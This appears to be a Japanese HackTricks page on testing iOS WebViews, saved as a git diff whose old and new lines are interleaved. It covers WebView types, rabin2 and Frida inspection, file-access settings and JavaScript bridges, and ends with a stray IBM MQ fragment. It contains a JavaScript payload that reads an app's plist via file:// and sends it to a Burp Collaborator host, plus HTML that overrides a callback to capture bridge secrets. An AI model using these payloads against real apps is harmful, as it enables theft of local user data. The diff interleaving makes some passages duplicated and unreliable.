- **UIWebView**はiOS 12以降推奨されていません。**JavaScript**の無効化をサポートしていないため、スクリプトのインジェクションや**Cross-Site Scripting (XSS)**攻撃の影響を受けやすくなっています。
* 読み取り専用のアドレスフィールドとセキュリティインジケーター。
* アクション("**共有**"**ボタン**。
* **完了ボタン**、戻ると進むナビゲーションボタン、およびSafariで直接ページを開くための"Safari"ボタン。
- **WKWebView**はアプリにWebコンテンツを組み込むための選択肢です。コンテンツとセキュリティ機能に対する強化された制御を提供します。**JavaScript**はデフォルトで有効ですが、必要に応じて無効にすることもできます。また、JavaScriptが自動的にウィンドウを開かないようにする機能をサポートし、すべてのコンテンツが安全に読み込まれることを保証します。さらに、**WKWebView**のアーキテクチャは、メインのアプリプロセスに影響を与えるメモリ破損のリスクを最小限に抑えています。
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
- **SFSafariViewController**はアプリ内で標準化されたWebブラウジング体験を提供します。読み取り専用のアドレスフィールド、共有およびナビゲーションボタン、Safariでコンテンツを開くための直接リンクを含む特定のレイアウトで認識できます。**SFSafariViewController**では**JavaScript**を無効にすることはできず、Safariとクッキーおよびデータを共有し、ユーザーのプライバシーをアプリから保護します。App Storeのガイドラインに従って目立つ位置に表示する必要があります。
```objetivec
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## WebViews Configuration Exploration Summary
* `SFSafariViewController`では**JavaScriptを無効にすることはできません**。これは、アプリのユーザーインターフェースを拡張する目的で`WKWebView`の使用が推奨される理由の一つです。
* `SFSafariViewController`はまた、**Safari**とクッキーや他のウェブサイトデータを**共有します**。
* `SFSafariViewController`でのユーザーの活動や相互作用はアプリには**見えません**。アプリはオートフィルデータ、ブラウジング履歴、またはウェブサイトデータにアクセスすることはできません。
* App Store Review Guidelinesによると、`SFSafariViewController`は他のビューやレイヤーによって**隠されたり、覆い隠されたりしてはなりません**。
### **Static Analysis Overview**
## WebViewsの設定を発見する
**WebViews**の構成を調査する過程で、主に注目されるのは2つの主要なタイプ、**UIWebView**と**WKWebView**です。これらのWebViewsをバイナリ内で特定するために、特定のクラス参照や初期化メソッドを検索するためにコマンドが利用されます。
### 静的解析
**UIWebView**
- **UIWebViewの識別**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
```
**WKWebView**
このコマンドは、バイナリ内でそれに関連するテキスト文字列を検索することで、**UIWebView** のインスタンスを特定するのに役立ちます。
- **WKWebViewの特定**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
```
WebViewクラスの既知のメソッドを検索することもできます。例えば、WKWebViewを初期化するために使用されるメソッド([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init))を検索します:
同様に、**WKWebView**について、このコマンドは、その使用を示すテキスト文字列をバイナリ内で検索します。
さらに、**WKWebView**がどのように初期化されるかを見つけるために、次のコマンドが実行され、その初期化に関連するメソッドシグネチャが対象となります:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```
#### JavaScriptの設定をテストする
#### **JavaScriptの構成の検証**
`WKWebView`において、ベストプラクティスとして、JavaScriptは明示的に必要な場合を除き無効にすべきです。JavaScriptが適切に無効にされているかを確認するために、プロジェクト内で`WKPreferences`の使用箇所を検索し、[`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled)プロパティが`false`に設定されていることを確認します:
```
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
```
コンパイルされたバイナリのみを持っている場合、これを検索できます:
**WKWebView**の場合、JavaScriptを無効にすることが必要でない限り、無効にすることが最善の方法とされています。`javaScriptEnabled`プロパティが`false`に設定されていることを確認するために、コンパイルされたバイナリが検索され、JavaScriptが無効になっていることが確認されます。
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
```
#### OnlySecureContentのテスト
#### **Only Secure Content Verification**
`UIWebView`とは対照的に、`WKWebView`を使用すると、[混在コンテンツ](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en)HTTPSページからロードされたHTTPコンテンツを検出することが可能です。[`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent)メソッドを使用することで、ページ上のすべてのリソースが安全に暗号化された接続を通じてロードされたかどうかを検証できます。\
コンパイルされたバイナリ内で:
**WKWebView**は、**UIWebView**とは対照的に、混合コンテンツの問題を特定する機能を提供します。これは、すべてのページリソースが安全な接続を介してロードされていることを確認するために`hasOnlySecureContent`プロパティを使用してチェックされます。コンパイルされたバイナリ内での検索は、次のように実行されます:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
ソースコードや文字列内で "http:// "という文字列を検索することもできます。しかし、これは必ずしも混在コンテンツの問題があるとは限りません。混在コンテンツについての詳細は、[MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content)で学ぶことができます。
### **動的解析インサイト**
### 動的分析
動的解析には、WebViewインスタンスとそのプロパティを調査することが含まれます。`webviews_inspector.js`というスクリプトが使用され、`UIWebView`、`WKWebView`、`SFSafariViewController`インスタンスを対象としています。このスクリプトは、見つかったインスタンスに関する情報をログに記録し、URLやJavaScript、セキュアコンテンツに関連する設定についても記録します。
`ObjC.choose()` を使用してヒープを検査し、異なるタイプのWebViewsのインスタンスを見つけることができます。また、プロパティ `javaScriptEnabled``hasonlysecurecontent` を検索することも可能です:
ヒープの検査は、`ObjC.choose()`を使用してWebViewインスタンスを特定し、`javaScriptEnabled`や`hasonlysecurecontent`のプロパティをチェックすることができます。
{% code title="webviews_inspector.js" %}
```javascript
```objetivec
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
@ -135,77 +118,32 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
```
Load it with:
```
{% endcode %}
スクリプトは次のように実行されます:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
hasOnlySecureContent: false
```
## WebView プロトコル処理
**主な成果**:
- WebViewのインスタンスが正常に特定および検査されます。
- JavaScriptの有効化と安全なコンテンツ設定が確認されます。
iOSのWebViewで解釈されるいくつかのデフォルトスキームがあります。例えば
この要約は、WebViewの構成を静的および動的アプローチを通じて分析する際に関与する重要な手順とコマンドを網羅し、JavaScriptの有効化や混合コンテンツの検出などのセキュリティ機能に焦点を当てています。
* http(s)://
* file://
* tel://
## WebViewプロトコルの処理
WebViewはエンドポイントからリモートコンテンツをロードすることができますが、アプリデータディレクトリからローカルコンテンツをロードすることもできます。ローカルコンテンツがロードされる場合、ユーザーはファイル名やファイルをロードするために使用されるパスに影響を与えることができず、ロードされたファイルを編集することもできません
WebViewでコンテンツを処理することは重要です、特に`http(s)://`、`file://`、`tel://`などのさまざまなプロトコルを扱う場合にはそうです。これらのプロトコルにより、アプリ内でリモートおよびローカルコンテンツの読み込みが可能になります。ローカルコンテンツを読み込む際には、ユーザーがファイル名やパスに影響を与えたり、コンテンツ自体を編集したりすることを防ぐための注意が必要です。
### WebView コンテンツのロード
**WebViews**はコンテンツの読み込みに異なるメソッドを提供しています。**UIWebView**では、現在は非推奨となっている`loadHTMLString:baseURL:`や`loadData:MIMEType:textEncodingName:baseURL:`などのメソッドが使用されます。一方、**WKWebView**では、Webコンテンツのために`loadHTMLString:baseURL:`、`loadData:MIMEType:textEncodingName:baseURL:`、`loadRequest:`が使用されます。ローカルファイルを読み込む際には、通常`pathForResource:ofType:`、`URLForResource:withExtension:`、`init(contentsOf:encoding:)`などのメソッドが利用されます。特に、`loadFileURL:allowingReadAccessToURL:`メソッドは、特定のURLやディレクトリをWebViewに読み込む能力を持っており、ディレクトリが指定された場合には機密データが露出する可能性があります。
* **UIWebView**: 非推奨のメソッド [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) または [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) を使用してコンテンツをロードできます。
* **WKWebView**: メソッド [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) または [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) を使用してローカルHTMLファイルをロードし、`loadRequest:` を使用してWebコンテンツをロードします。通常、ローカルファイルは [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource)、[`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc)、[`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init) などのメソッドと組み合わせてロードされます。さらに、アプリがメソッド [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc) を使用しているかどうかも確認する必要があります。その最初のパラメータは `URL` で、WebViewにロードされるURLを含み、2番目のパラメータ `allowingReadAccessToURL` は単一のファイルまたはディレクトリを含むことがあります。単一のファイルを含む場合、そのファイルはWebViewで利用可能になります。しかし、ディレクトリを含む場合、その**ディレクトリ内のすべてのファイルがWebViewで利用可能になります**。したがって、これを検査し、ディレクトリの場合は、その中に機密データが含まれていないかを確認することが重要です。
ソースコードを持っている場合、これらのメソッドを検索できます。**コンパイルされた** **バイナリ**を持っている場合も、これらのメソッドを検索できます。
これらのメソッドをソースコードやコンパイルされたバイナリで見つけるためには、次のようなコマンドが使用されます:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
### ファイルアクセス
Regarding **file access**, UIWebView allows it universally, whereas WKWebView introduces `allowFileAccessFromFileURLs` and `allowUniversalAccessFromFileURLs` settings for managing access from file URLs, with both being false by default.
* **UIWebView:**
* `file://` スキームは常に有効です。
* `file://` URLからのファイルアクセスは常に有効です。
* `file://` URLからのユニバーサルアクセスは常に有効です。
* `baseURL``nil` に設定されている `UIWebView` から有効なオリジンを取得すると、**"null"に設定されていない**ことがわかります。代わりに、次のようなものが得られます: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`。このオリジン "applewebdata://" は "file://" オリジンと似ており、**Same-Origin Policyを実装していない**ため、ローカルファイルや任意のウェブリソースへのアクセスを許可します。
{% tabs %}
{% tab title="exfiltrate_file" %}
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
{% endtab %}
{% endtabs %}
* **WKWebView**:
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, デフォルトでは`false`): `file://`スキームURLのコンテキストで実行されるJavaScriptが、他の`file://`スキームURLのコンテンツにアクセスできるようにします。
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, デフォルトでは`false`): `file://`スキームURLのコンテキストで実行されるJavaScriptが、任意のオリジンのコンテンツにアクセスできるようにします。
これらの関数をアプリケーションのソースコードやコンパイルされたバイナリで検索することができます。\
また、以下のfridaスクリプトを使用してこの情報を見つけることができます
A Frida script example is provided to inspect **WKWebView** configurations for security settings:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
@ -223,22 +161,8 @@ console.log('done for WKWebView!');
}
});
```
```bash
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
```
#### 任意のファイルを抽出する
最後に、ローカルファイルを外部に持ち出すことを目的としたJavaScriptペイロードの例が、適切に構成されていないWebViewsに関連する潜在的なセキュリティリスクを示しています。このペイロードは、ファイルの内容を16進数形式にエンコードしてからサーバーに送信するため、WebViewの実装における厳格なセキュリティ対策の重要性を強調しています。
```javascript
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
@ -260,24 +184,24 @@ xhr2.send(null);
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## WebViewを通じて露出されるネイティブメソッド
## WebViewを介して公開されるネイティブメソッド
iOS 7以降、Appleは**WebView内のJavaScriptランタイムとネイティブ**のSwiftまたはObjective-Cオブジェクト間の通信を可能にするAPIを導入しました。
## iOSにおけるWebViewネイティブインターフェースの理解
ネイティブコードとJavaScriptが通信する基本的な方法は2つあります:
iOS 7以降、AppleはWebView内のJavaScriptとネイティブSwiftまたはObjective-Cオブジェクト間の通信のためのAPIを提供しました。この統合は主に次の2つの方法を通じて実現されます:
* **JSContext**: Objective-CまたはSwiftブロックが`JSContext`内の識別子に割り当てられると、JavaScriptCoreは自動的にブロックをJavaScript関数にラップします。
* **JSExportプロトコル**: `JSExport`を継承したプロトコルで宣言されたプロパティ、インスタンスメソッド、クラスメソッドは、すべてのJavaScriptコードで利用可能なJavaScriptオブジェクトにマッピングされます。JavaScript環境内のオブジェクトの変更はネイティブ環境に反映されます。
- **JSContext**SwiftまたはObjective-Cブロックが`JSContext`内の識別子にリンクされると、JavaScript関数が自動的に作成されます。これにより、JavaScriptとネイティブコードの間でシームレスな統合と通信が可能になります。
- **JSExport Protocol**`JSExport`プロトコルを継承することで、ネイティブのプロパティ、インスタンスメソッド、およびクラスメソッドをJavaScriptに公開できます。これにより、JavaScript環境で行われた変更がネイティブ環境にも反映され、その逆も同様です。ただし、この方法を介して機密データが誤って公開されないようにすることが重要です。
**`JSExport`プロトコルで定義されたクラスメンバーのみ**がJavaScriptコードにアクセス可能になることに注意してください。\
WebViewに関連付けられた`JSContext`にマッピングされたネイティブオブジェクトのコードを探し、どのような機能が露出されているかを分析します。例えば、WebViewにアクセス可能で露出されるべきではない機密データがあります。\
Objective-Cでは、`UIWebView`に関連付けられた`JSContext`は以下のように取得されます:
```objectivec
### Objective-Cでの`JSContext`へのアクセス
Objective-Cでは、`UIWebView`の`JSContext`には次のコード行でアクセスできます:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
JavaScript コードは **`WKWebView` でネイティブアプリにメッセージを送信することは可能ですが、`UIWebView` とは対照的に、`WKWebView` の `JSContext` を直接参照することはできません。** 代わりに、メッセージングシステムを使用し、JavaScript オブジェクトをネイティブの Objective-C や Swift オブジェクトに自動的にシリアライズする `postMessage` 関数を使用して通信が実装されます。メッセージハンドラーは、[`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add) メソッドを使用して設定されます。
### `WKWebView`との通信
### JavascriptBridge を有効にする
`WKWebView`では、`JSContext`への直接アクセスは利用できません。代わりに、`postMessage`関数を介してメッセージのやり取りが行われ、JavaScriptからネイティブへの通信が可能となります。これらのメッセージのハンドラは以下のように設定され、JavaScriptがネイティブアプリケーションと安全にやり取りできるようになります。
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
@ -290,23 +214,21 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
}
}
```
### メッセージの送信
### インタラクションとテスト
スクリプトメッセージハンドラを名前 `"name"`(または上記の例では `"javaScriptBridge"`で追加すると、そのユーザーコンテンツコントローラーを使用するすべてのウェブビューのすべてのフレームでJavaScript関数 `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` が定義されます。それは次のようにHTMLファイルから[使用することができます](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33)
JavaScript は、スクリプトメッセージハンドラを定義することで、ネイティブレイヤーとやり取りできます。これにより、Web ページからネイティブ関数を呼び出すなどの操作が可能になります。
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
ネイティブ関数が実行されると、通常は**ウェブページ内でJavaScriptを実行します**(以下の`evaluateJavascript`を参照)。実行される関数を**オーバーライドして**、**結果を盗む**ことに興味があるかもしれません。
例えば、以下のスクリプトでは、**`javascriptBridgeCallBack`** 関数が2つのパラメータ呼び出された関数と**結果**を持って実行されます。ロードされるHTMLを制御している場合、結果を表示する**アラートを作成**できます。
```markup
以下は、ネイティブ関数呼び出しの結果をキャプチャして操作するために、HTML内でコールバック関数をオーバーライドする方法です
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
@ -316,74 +238,53 @@ alert(result);
</script>
</html>
```
### 呼び出された関数
呼び出された関数は[`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29)に存在します:
ネイティブ側は、`JavaScriptBridgeMessageHandler`クラスでJavaScriptの呼び出しを処理し、数値の乗算などの操作の結果を処理してJavaScriptに送り返し、表示やさらなる操作が行われます。
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
//...
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
### テスト
アプリケーション内でpostMessageを送信するためのテスト方法は以下の通りです:
* サーバーの応答を変更する (MitM)
* Fridaのようなフレームワークを使用して動的なインストルメンテーションを行い、iOS WebViews用の対応するJavaScript評価関数([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` と [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`)を使ってJavaScriptペイロードを注入する。
## iOS WebViewsのデバッグ
([https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)からのチュートリアル)
[https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)からのチュートリアルに基づく)
iOS webviewsでは、`console.log()`に渡されたメッセージはXcodeのログには表示されません。それでも、Safariの開発者ツールを使ってWebコンテンツを比較的簡単にデバッグすることができますが、いくつかの制限があります:
iOSのWebViews内のWebコンテンツを効果的にデバッグするには、`console.log()`に送信されたメッセージがXcodeログに表示されないため、Safariの開発者ツールを使用する特定のセットアップが必要です。以下は、主要な手順と要件を強調した簡略化されたガイドです
* iOS webviewsのデバッグにはSafariが必要なので、開発用コンピュータはmacOSを実行している必要があります。
* Xcodeを通じてデバイスにロードされたアプリケーション内のwebviewsのみをデバッグできます。App StoreやApple Configuratorを通じてインストールされたアプリ内のwebviewsはデバッグできません。
- **iOSデバイスの準備**: iOSデバイスでSafari Web Inspectorを有効にする必要があります。これは、**設定 > Safari > Advanced**に移動し、_Web Inspector_を有効にすることで行われます。
これらの制限を念頭に置いて、iOSでwebviewをリモートデバッグする手順は以下の通りです:
- **macOSデバイスの準備**: macOSの開発マシンで、Safari内で開発者ツールを有効にする必要があります。Safariを起動し、**Safari > Preferences > Advanced**にアクセスし、_Show Develop menu_オプションを選択します。
* まず、iOSデバイスでSafari Webインスペクタを有効にするために、iOSの_設定_アプリを開き、**設定 > Safari > 高度な設定**に移動し、_Webインスペクタ_オプションをオンに切り替えます。
- **接続とデバッグ**: iOSデバイスをmacOSコンピュータに接続し、アプリケーションを起動した後、macOSデバイス上のSafariを使用してデバッグしたいWebViewsを選択します。Safariのメニューバーで _Develop_に移動し、iOSデバイスの名前にカーソルを合わせると、WebViewsの一覧が表示され、調査したいインスタンスを選択します。この目的のために新しいSafari Web Inspectorウィンドウが開きます。
![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
ただし、次の制限に注意してください:
* 次に、開発用コンピュータのSafariで開発者ツールを有効にする必要があります。開発マシンでSafariを起動し、メニューバーの**Safari > 環境設定**に移動します。表示される環境設定ペインで、_高度な設定_タブをクリックし、下部にある_開発メニューを表示_オプションを有効にします。それを行った後、環境設定ペインを閉じることができます。
- この方法でのデバッグにはmacOSデバイスが必要です。なぜなら、Safariに依存しているからです。
- Xcodeを介してデバイスにロードされたアプリケーション内のWebViewsのみがデバッグの対象となります。App StoreやApple Configuratorを介してインストールされたアプリ内のWebViewsはこの方法でデバッグできません。
![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
* iOSデバイスを開発用コンピュータに接続し、アプリを起動します。
* 開発用コンピュータのSafariで、メニューバーの_開発_をクリックし、iOSデバイスの名前が表示されているドロップダウンオプションにカーソルを合わせて、iOSデバイスで実行中のwebviewインスタンスのリストを表示します。
![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
* デバッグしたいwebviewのドロップダウンオプションをクリックします。これにより、webviewを検査するための新しいSafari Webインスペクタウィンドウが開きます。
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
## 参考文献
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、Twitter🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details>

View file

@ -5,10 +5,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
@ -22,11 +22,11 @@ IBM MQは、メッセージキューを管理するためのIBMテクロジ
IBM MQ TCPポート1414は、メッセージ、キュー、チャネルなどを操作するだけでなく、**インスタンスを制御するためにも使用**できます。
IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)で利用可能な大規模な技術ドキュメントを提供しています。
IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)で大規模な技術ドキュメントを提供しています。
## ツール
簡単な攻撃には**[punch-q](https://github.com/sensepost/punch-q)**が推奨されており、Dockerを使用しています。このツールはPythonライブラリ`pymqi`をアクティブに使用しています。
